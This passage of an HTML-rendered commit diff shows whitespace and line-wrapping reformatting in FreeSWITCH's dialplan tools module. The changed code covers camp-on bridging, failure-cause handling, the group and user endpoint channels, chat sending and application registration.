</span><span class="cx">                         status = switch_ivr_originate(NULL, &peer_session, &cause, camp_data, campon_timeout, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!switch_channel_ready(caller_channel)) {
</span><span class="cx">                                 fail = 1;
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (status == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 camping = 0;
</span><span class="cx">                                 break;
</span><span class="cx">                         } else {
</span><span class="cx">                                 fail = 1;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (camping) {
</span><del>-                                
-                                if (!thread_started && fail && moh && !switch_channel_test_flag(caller_channel, CF_PROXY_MODE) &&
</del><ins>+
+                                if (!thread_started && fail && moh && !switch_channel_test_flag(caller_channel, CF_PROXY_MODE) &&
</ins><span class="cx">                                         !switch_channel_test_flag(caller_channel, CF_PROXY_MEDIA) &&
</span><span class="cx">                                         !switch_true(switch_channel_get_variable(caller_channel, "bypass_media"))) {
</span><span class="cx">                                         switch_threadattr_create(&thd_attr, switch_core_session_get_pool(session));
</span><span class="lines">@@ -2311,15 +2315,15 @@
</span><span class="cx">
</span><span class="cx">                                 if (fail) {
</span><span class="cx">                                         int64_t wait = campon_sleep * 1000000;
</span><del>-                                        
-                                        while(stake.running && wait > 0 && switch_channel_ready(caller_channel)) {
</del><ins>+
+                                        while (stake.running && wait > 0 && switch_channel_ready(caller_channel)) {
</ins><span class="cx">                                                 switch_yield(100000);
</span><span class="cx">                                                 wait -= 100000;
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 } while (camping && switch_channel_ready(caller_channel));
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (thread) {
</span><span class="cx">                         stake.running = 0;
</span><span class="cx">                         switch_channel_set_flag(caller_channel, CF_NOT_READY);
</span><span class="lines">@@ -2327,17 +2331,18 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 switch_channel_clear_flag(caller_channel, CF_NOT_READY);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (stake.do_xfer && !zstr(v_campon_fallback_exten)) {
</span><del>-                        switch_ivr_session_transfer(session,
-                                                                                v_campon_fallback_exten,
</del><ins>+                        switch_ivr_session_transfer(session,
+                                                                                v_campon_fallback_exten,
</ins><span class="cx">                                                                                 switch_channel_get_variable(caller_channel, "campon_fallback_dialplan"),
</span><span class="cx">                                                                                 switch_channel_get_variable(caller_channel, "campon_fallback_context"));
</span><span class="cx">                         return;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">         } else {
</span><del>-                if ((status = switch_ivr_originate(session, &peer_session, &cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                if ((status =
+                         switch_ivr_originate(session, &peer_session, &cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         fail = 1;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -2350,23 +2355,23 @@
</span><span class="cx">                  'true' to continue on all failures.
</span><span class="cx">                  'false' to not continue.
</span><span class="cx">                  A list of codes either names or numbers eg "user_busy,normal_temporary_failure,603"
</span><del>-                 failure_causes acts as the opposite version        
</del><ins>+                 failure_causes acts as the opposite version
</ins><span class="cx">                  EXCEPTION... ATTENDED_TRANSFER never is a reason to continue.......
</span><span class="cx">                  */
</span><span class="cx">                 if (cause != SWITCH_CAUSE_ATTENDED_TRANSFER) {
</span><span class="cx">                         if (continue_on_fail || failure_causes) {
</span><span class="cx">                                 const char *cause_str;
</span><span class="cx">                                 char cause_num[35] = "";
</span><del>-                                                                                                                                
</del><ins>+
</ins><span class="cx">                                 cause_str = switch_channel_cause2str(cause);
</span><span class="cx">                                 switch_snprintf(cause_num, sizeof(cause_num), "%u", cause);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                                 if (failure_causes) {
</span><span class="cx">                                         char *lbuf = switch_core_session_strdup(session, failure_causes);
</span><span class="cx">                                         char *argv[256] = { 0 };
</span><span class="cx">                                         int argc = switch_separate_string(lbuf, ',', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">                                         int i, x = 0;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         for (i = 0; i < argc; i++) {
</span><span class="cx">                                                 if (!strcasecmp(argv[i], cause_str) || !strcasecmp(argv[i], cause_num)) {
</span><span class="cx">                                                         x++;
</span><span class="lines">@@ -2374,7 +2379,7 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx">                                         if (!x) {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</ins><span class="cx">                                                                                  "Failure causes [%s]: Cause: %s\n", failure_causes, cause_str);
</span><span class="cx">                                                 return;
</span><span class="cx">                                         }
</span><span class="lines">@@ -2388,10 +2393,10 @@
</span><span class="cx">                                                 char *argv[256] = { 0 };
</span><span class="cx">                                                 int argc = switch_separate_string(lbuf, ',', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">                                                 int i;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 for (i = 0; i < argc; i++) {
</span><span class="cx">                                                         if (!strcasecmp(argv[i], cause_str) || !strcasecmp(argv[i], cause_num)) {
</span><del>-                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</ins><span class="cx">                                                                                                  "Continue on fail [%s]: Cause: %s\n", continue_on_fail, cause_str);
</span><span class="cx">                                                                 return;
</span><span class="cx">                                                         }
</span><span class="lines">@@ -2410,7 +2415,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 return;
</span><span class="cx">         } else {
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_channel_test_flag(caller_channel, CF_PROXY_MODE)) {
</span><span class="cx">                         switch_ivr_signal_bridge(session, peer_session);
</span><span class="cx">                 } else {
</span><span class="lines">@@ -2439,10 +2444,10 @@
</span><span class="cx">                         if (switch_true(switch_channel_get_variable(caller_channel, SWITCH_BYPASS_MEDIA_AFTER_BRIDGE_VARIABLE))) {
</span><span class="cx">                                 switch_channel_set_flag(caller_channel, CF_BYPASS_MEDIA_AFTER_BRIDGE);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_ivr_multi_threaded_bridge(session, peer_session, func, a_key, b_key);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (peer_session) {
</span><span class="cx">                         switch_core_session_rwunlock(peer_session);
</span><span class="cx">                 }
</span><span class="lines">@@ -2452,17 +2457,19 @@
</span><span class="cx"> /* fake chan_error */
</span><span class="cx"> switch_endpoint_interface_t *error_endpoint_interface;
</span><span class="cx"> static switch_call_cause_t error_outgoing_channel(switch_core_session_t *session,
</span><del>-                                                                                                 switch_event_t *var_event,
-                                                                                                 switch_caller_profile_t *outbound_profile,
-                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                 switch_event_t *var_event,
+                                                                                                 switch_caller_profile_t *outbound_profile,
+                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                 switch_call_cause_t *cancel_cause);
</ins><span class="cx"> switch_io_routines_t error_io_routines = {
</span><span class="cx">         /*.outgoing_channel */ error_outgoing_channel
</span><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> static switch_call_cause_t error_outgoing_channel(switch_core_session_t *session,
</span><del>-                                                                                                 switch_event_t *var_event,
-                                                                                                 switch_caller_profile_t *outbound_profile,
-                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                 switch_event_t *var_event,
+                                                                                                 switch_caller_profile_t *outbound_profile,
+                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                 switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">         switch_call_cause_t cause = switch_channel_str2cause(outbound_profile->destination_number);
</span><span class="cx">         if (cause == SWITCH_CAUSE_NONE) {
</span><span class="lines">@@ -2476,17 +2483,19 @@
</span><span class="cx"> /* fake chan_group */
</span><span class="cx"> switch_endpoint_interface_t *group_endpoint_interface;
</span><span class="cx"> static switch_call_cause_t group_outgoing_channel(switch_core_session_t *session,
</span><del>-                                                                                                 switch_event_t *var_event,
-                                                                                                 switch_caller_profile_t *outbound_profile,
-                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                 switch_event_t *var_event,
+                                                                                                 switch_caller_profile_t *outbound_profile,
+                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                 switch_call_cause_t *cancel_cause);
</ins><span class="cx"> switch_io_routines_t group_io_routines = {
</span><span class="cx">         /*.outgoing_channel */ group_outgoing_channel
</span><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> static switch_call_cause_t group_outgoing_channel(switch_core_session_t *session,
</span><del>-                                                                                                 switch_event_t *var_event,
-                                                                                                 switch_caller_profile_t *outbound_profile,
-                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                 switch_event_t *var_event,
+                                                                                                 switch_caller_profile_t *outbound_profile,
+                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                 switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">         char *group = NULL;
</span><span class="cx">         switch_call_cause_t cause = SWITCH_CAUSE_NONE;
</span><span class="lines">@@ -2501,33 +2510,32 @@
</span><span class="cx">
</span><span class="cx">         group = strdup(outbound_profile->destination_number);
</span><span class="cx">
</span><del>-        if (!group) goto done;
-        
</del><ins>+        if (!group)
+                goto done;
+
</ins><span class="cx">         if ((domain = strchr(group, '@'))) {
</span><span class="cx">                 *domain++ = '\0';
</span><span class="cx">         } else {
</span><span class="cx">                 domain = switch_core_get_variable("domain");
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!domain) {
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (var_event && (skip=switch_event_get_header(var_event, "group_recurse_variables")) && switch_false(skip)) {
-                if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
-                        (var = switch_event_get_header(var_event, "leg_timeout"))) {
</del><ins>+        if (var_event && (skip = switch_event_get_header(var_event, "group_recurse_variables")) && switch_false(skip)) {
+                if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, "leg_timeout"))) {
</ins><span class="cx">                         timelimit = atoi(var);
</span><span class="cx">                 }
</span><span class="cx">                 var_event = NULL;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         template = switch_mprintf("${group_call(%s@%s)}", group, domain);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (session) {
</span><span class="cx">                 switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">                 dest = switch_channel_expand_variables(channel, template);
</span><del>-                if ((var = switch_channel_get_variable(channel, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
-                        (var = switch_event_get_header(var_event, "leg_timeout"))) {
</del><ins>+                if ((var = switch_channel_get_variable(channel, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, "leg_timeout"))) {
</ins><span class="cx">                         timelimit = atoi(var);
</span><span class="cx">                 }
</span><span class="cx">         } else if (var_event) {
</span><span class="lines">@@ -2542,28 +2550,27 @@
</span><span class="cx">         if (!dest) {
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (var_event) {
</span><span class="cx">                 cid_name_override = switch_event_get_header(var_event, "origination_caller_id_name");
</span><span class="cx">                 cid_num_override = switch_event_get_header(var_event, "origination_caller_id_number");
</span><del>-                if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
-                        (var = switch_event_get_header(var_event, "leg_timeout"))) {
</del><ins>+                if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, "leg_timeout"))) {
</ins><span class="cx">                         timelimit = atoi(var);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((flags & SOF_FORKED_DIAL)) {
</span><span class="cx">                 myflags |= SOF_NOBLOCK;
</span><span class="cx">         }
</span><del>-        
-        
-        if (switch_ivr_originate(session, new_session, &cause, dest, timelimit, NULL,
</del><ins>+
+
+        if (switch_ivr_originate(session, new_session, &cause, dest, timelimit, NULL,
</ins><span class="cx">                                                          cid_name_override, cid_num_override, NULL, var_event, myflags, cancel_cause) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 const char *context;
</span><span class="cx">                 switch_caller_profile_t *cp;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 new_channel = switch_core_session_get_channel(*new_session);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((context = switch_channel_get_variable(new_channel, "group_context"))) {
</span><span class="cx">                         if ((cp = switch_channel_get_caller_profile(new_channel))) {
</span><span class="cx">                                 cp->context = switch_core_strdup(cp->pool, context);
</span><span class="lines">@@ -2578,10 +2585,10 @@
</span><span class="cx">         if (dest && dest != template) {
</span><span class="cx">                 switch_safe_free(dest);
</span><span class="cx">         }
</span><del>-        
-        switch_safe_free(template);        
-        switch_safe_free(group);        
</del><span class="cx">
</span><ins>+        switch_safe_free(template);
+        switch_safe_free(group);
+
</ins><span class="cx">         if (cause == SWITCH_CAUSE_NONE) {
</span><span class="cx">                 cause = SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</span><span class="cx">         }
</span><span class="lines">@@ -2596,7 +2603,8 @@
</span><span class="cx"> static switch_call_cause_t user_outgoing_channel(switch_core_session_t *session,
</span><span class="cx">                                                                                                  switch_event_t *var_event,
</span><span class="cx">                                                                                                  switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                 switch_call_cause_t *cancel_cause);
</ins><span class="cx"> switch_io_routines_t user_io_routines = {
</span><span class="cx">         /*.outgoing_channel */ user_outgoing_channel
</span><span class="cx"> };
</span><span class="lines">@@ -2604,7 +2612,8 @@
</span><span class="cx"> static switch_call_cause_t user_outgoing_channel(switch_core_session_t *session,
</span><span class="cx">                                                                                                  switch_event_t *var_event,
</span><span class="cx">                                                                                                  switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                 switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">         switch_xml_t x_domain = NULL, xml = NULL, x_user = NULL, x_group = NULL, x_param, x_params;
</span><span class="cx">         char *user = NULL, *domain = NULL;
</span><span class="lines">@@ -2622,22 +2631,22 @@
</span><span class="cx">
</span><span class="cx">         user = strdup(outbound_profile->destination_number);
</span><span class="cx">
</span><del>-        if (!user) goto done;
</del><ins>+        if (!user)
+                goto done;
</ins><span class="cx">
</span><span class="cx">         if ((domain = strchr(user, '@'))) {
</span><span class="cx">                 *domain++ = '\0';
</span><span class="cx">         } else {
</span><span class="cx">                 domain = switch_core_get_variable("domain");
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!domain) {
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><del>-        if (var_event && (skip=switch_event_get_header(var_event, "user_recurse_variables")) && switch_false(skip)) {
-                if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
-                        (var = switch_event_get_header(var_event, "leg_timeout"))) {
</del><ins>+
+        if (var_event && (skip = switch_event_get_header(var_event, "user_recurse_variables")) && switch_false(skip)) {
+                if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, "leg_timeout"))) {
</ins><span class="cx">                         timelimit = atoi(var);
</span><span class="cx">                 }
</span><span class="cx">                 var_event = NULL;
</span><span class="lines">@@ -2744,7 +2753,7 @@
</span><span class="cx">                                 switch_event_dup(&event, var_event);
</span><span class="cx">                                 switch_event_del_header(event, "dialed_user");
</span><span class="cx">                                 switch_event_del_header(event, "dialed_domain");
</span><del>-                                if ((varval = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
</del><ins>+                                if ((varval = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
</ins><span class="cx">                                         (varval = switch_event_get_header(var_event, "leg_timeout"))) {
</span><span class="cx">                                         timelimit = atoi(varval);
</span><span class="cx">                                 }
</span><span class="lines">@@ -2765,10 +2774,12 @@
</span><span class="cx">
</span><span class="cx">                 switch_snprintf(stupid, sizeof(stupid), "user/%s", user);
</span><span class="cx">                 if (switch_stristr(stupid, d_dest)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Waddya Daft? You almost called '%s' in an infinate loop!\n", stupid);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Waddya Daft? You almost called '%s' in an infinate loop!\n",
+                                                         stupid);
</ins><span class="cx">                         cause = SWITCH_CAUSE_INVALID_IE_CONTENTS;
</span><del>-                } else if (switch_ivr_originate(session, new_session, &cause, d_dest, timelimit, NULL,
-                                                                                cid_name_override, cid_num_override, outbound_profile, var_event, myflags, cancel_cause) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                } else if (switch_ivr_originate(session, new_session, &cause, d_dest, timelimit, NULL,
+                                                                                cid_name_override, cid_num_override, outbound_profile, var_event, myflags,
+                                                                                cancel_cause) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         const char *context;
</span><span class="cx">                         switch_caller_profile_t *cp;
</span><span class="cx">
</span><span class="lines">@@ -2812,7 +2823,7 @@
</span><span class="cx">         if (params) {
</span><span class="cx">                 switch_event_destroy(&params);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (var_event && var_event_orig != var_event) {
</span><span class="cx">                 switch_event_destroy(&var_event);
</span><span class="cx">         }
</span><span class="lines">@@ -2851,7 +2862,7 @@
</span><span class="cx">         uint32_t thresh, silence_hits, listen_hits, timeout_ms = 0;
</span><span class="cx">         int argc;
</span><span class="cx">         char *lbuf = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(data) && (lbuf = switch_core_session_strdup(session, data))
</span><span class="cx">                 && (argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) >= 3) {
</span><span class="cx">                 thresh = atoi(argv[0]);
</span><span class="lines">@@ -2869,8 +2880,8 @@
</span><span class="cx">                         return;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-        }
-        
</del><ins>+        }
+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Usage: %s\n", WAIT_FOR_SILENCE_SYNTAX);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -2880,12 +2891,17 @@
</span><span class="cx">         switch_event_t *event;
</span><span class="cx">
</span><span class="cx">         if (switch_event_create(&event, SWITCH_EVENT_RECV_MESSAGE) == SWITCH_STATUS_SUCCESS) {
</span><del>-                if (proto) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Proto", proto);
-                if (from) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "From", from);
-                if (subject) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Subject", subject);
-                if (hint) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Hint", hint);
-                if (body) switch_event_add_body(event, "%s", body);
-                if (to) {
</del><ins>+                if (proto)
+                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Proto", proto);
+                if (from)
+                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "From", from);
+                if (subject)
+                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Subject", subject);
+                if (hint)
+                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Hint", hint);
+                if (body)
+                        switch_event_add_body(event, "%s", body);
+                if (to) {
</ins><span class="cx">                         const char *v;
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "To", to);
</span><span class="cx">                         if ((v = switch_core_get_variable(to))) {
</span><span class="lines">@@ -2899,18 +2915,18 @@
</span><span class="cx">
</span><span class="cx">                 switch_event_destroy(&event);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_MEMERR;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t api_chat_send(const char *proto, const char *from, const char *to, const char *subject,
</span><span class="cx">                                                                          const char *body, const char *type, const char *hint)
</span><span class="cx"> {
</span><del>-        if (to) {
</del><ins>+        if (to) {
</ins><span class="cx">                 const char *v;
</span><span class="cx">                 switch_stream_handle_t stream = { 0 };
</span><span class="cx">                 char *cmd = NULL, *arg;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!(v = switch_core_get_variable(to))) {
</span><span class="cx">                         v = to;
</span><span class="cx">                 }
</span><span class="lines">@@ -2928,16 +2944,15 @@
</span><span class="cx">                 switch_api_execute(cmd, arg, NULL, &stream);
</span><span class="cx">
</span><span class="cx">                 if (proto) {
</span><del>-                        switch_core_chat_send(proto, "api", to, hint && strchr(hint, '/') ? hint : from,
-                                                                 !zstr(type) ? type : NULL, (char *) stream.data, NULL, NULL);
</del><ins>+                        switch_core_chat_send(proto, "api", to, hint && strchr(hint, '/') ? hint : from, !zstr(type) ? type : NULL, (char *) stream.data, NULL, NULL);
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 switch_safe_free(stream.data);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 free(cmd);
</span><span class="cx">
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -2998,7 +3013,7 @@
</span><span class="cx">
</span><span class="cx">         SWITCH_ADD_CHAT(chat_interface, "event", event_chat_send);
</span><span class="cx">         SWITCH_ADD_CHAT(chat_interface, "api", api_chat_send);
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_ADD_API(api_interface, "strepoch", "Convert a date string into epoch time", strepoch_api_function, "<string>");
</span><span class="cx">         SWITCH_ADD_API(api_interface, "chat", "chat", chat_api_function, "<proto>|<from>|<to>|<message>|[<content-type>]");
</span><span class="cx">         SWITCH_ADD_API(api_interface, "strftime", "strftime", strftime_api_function, "<format_string>");
</span><span class="lines">@@ -3016,7 +3031,8 @@
</span><span class="cx">                                  SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "check_acl", "Check an ip against an ACL list", "Check an ip against an ACL list", check_acl_function,
</span><span class="cx">                                  "<ip> <acl | cidr> [<hangup_cause>]", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</span><del>-        SWITCH_ADD_APP(app_interface, "verbose_events", "Make ALL Events verbose.", "Make ALL Events verbose.", verbose_events_function, "", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</del><ins>+        SWITCH_ADD_APP(app_interface, "verbose_events", "Make ALL Events verbose.", "Make ALL Events verbose.", verbose_events_function, "",
+                                 SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</ins><span class="cx">         SWITCH_ADD_APP(app_interface, "early_hangup", "Enable early hangup", "", early_hangup_function, "", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "sleep", "Pause a channel", SLEEP_LONG_DESC, sleep_function, "<pausemilliseconds>", SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "delay_echo", "echo audio at a specified delay", "Delay n ms", delay_function, "<delay ms>", SAF_NONE);
</span><span class="lines">@@ -3027,19 +3043,23 @@
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "answer", "Answer the call", "Answer the call for a channel.", answer_function, "", SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "hangup", "Hangup the call", "Hangup the call for a channel.", hangup_function, "[<cause>]", SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "set_name", "Name the channel", "Name the channel", set_name_function, "<name>", SAF_SUPPORT_NOMEDIA);
</span><del>-        SWITCH_ADD_APP(app_interface, "presence", "Send Presence", "Send Presence.", presence_function, "<rpid> <status> [<id>]", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
-        SWITCH_ADD_APP(app_interface, "log", "Logs to the logger", LOG_LONG_DESC, log_function, "<log_level> <log_string>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</del><ins>+        SWITCH_ADD_APP(app_interface, "presence", "Send Presence", "Send Presence.", presence_function, "<rpid> <status> [<id>]",
+                                 SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
+        SWITCH_ADD_APP(app_interface, "log", "Logs to the logger", LOG_LONG_DESC, log_function, "<log_level> <log_string>",
+                                 SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</ins><span class="cx">         SWITCH_ADD_APP(app_interface, "info", "Display Call Info", "Display Call Info", info_function, "", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "event", "Fire an event", "Fire an event", event_function, "", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "sound_test", "Analyze Audio", "Analyze Audio", sound_test_function, "", SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "export", "Export a channel variable across a bridge", EXPORT_LONG_DESC, export_function, "<varname>=<value>",
</span><span class="cx">                                  SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</span><del>-        SWITCH_ADD_APP(app_interface, "set", "Set a channel variable", SET_LONG_DESC, set_function, "<varname>=<value>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</del><ins>+        SWITCH_ADD_APP(app_interface, "set", "Set a channel variable", SET_LONG_DESC, set_function, "<varname>=<value>",
+                                 SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</ins><span class="cx">         SWITCH_ADD_APP(app_interface, "set_global", "Set a global variable", SET_GLOBAL_LONG_DESC, set_global_function, "<varname>=<value>",
</span><span class="cx">                                  SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "set_profile_var", "Set a caller profile variable", SET_PROFILE_VAR_LONG_DESC, set_profile_var_function,
</span><span class="cx">                                  "<varname>=<value>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</span><del>-        SWITCH_ADD_APP(app_interface, "unset", "Unset a channel variable", UNSET_LONG_DESC, unset_function, "<varname>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</del><ins>+        SWITCH_ADD_APP(app_interface, "unset", "Unset a channel variable", UNSET_LONG_DESC, unset_function, "<varname>",
+                                 SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</ins><span class="cx">         SWITCH_ADD_APP(app_interface, "ring_ready", "Indicate Ring_Ready", "Indicate Ring_Ready on a channel.", ring_ready_function, "", SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "remove_bugs", "Remove media bugs", "Remove all media bugs from a channel.", remove_bugs_function, "", SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "break", "Break", "Set the break flag.", break_function, "", SAF_SUPPORT_NOMEDIA);
</span><span class="lines">@@ -3063,21 +3083,22 @@
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "sched_transfer", SCHED_TRANSF_DESCR, SCHED_TRANSF_DESCR, sched_transfer_function,
</span><span class="cx">                                  "[+]<time> <extension> <dialplan> <context>", SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "execute_extension", "Execute an extension", "Execute an extension", exe_function, EXE_SYNTAX, SAF_SUPPORT_NOMEDIA);
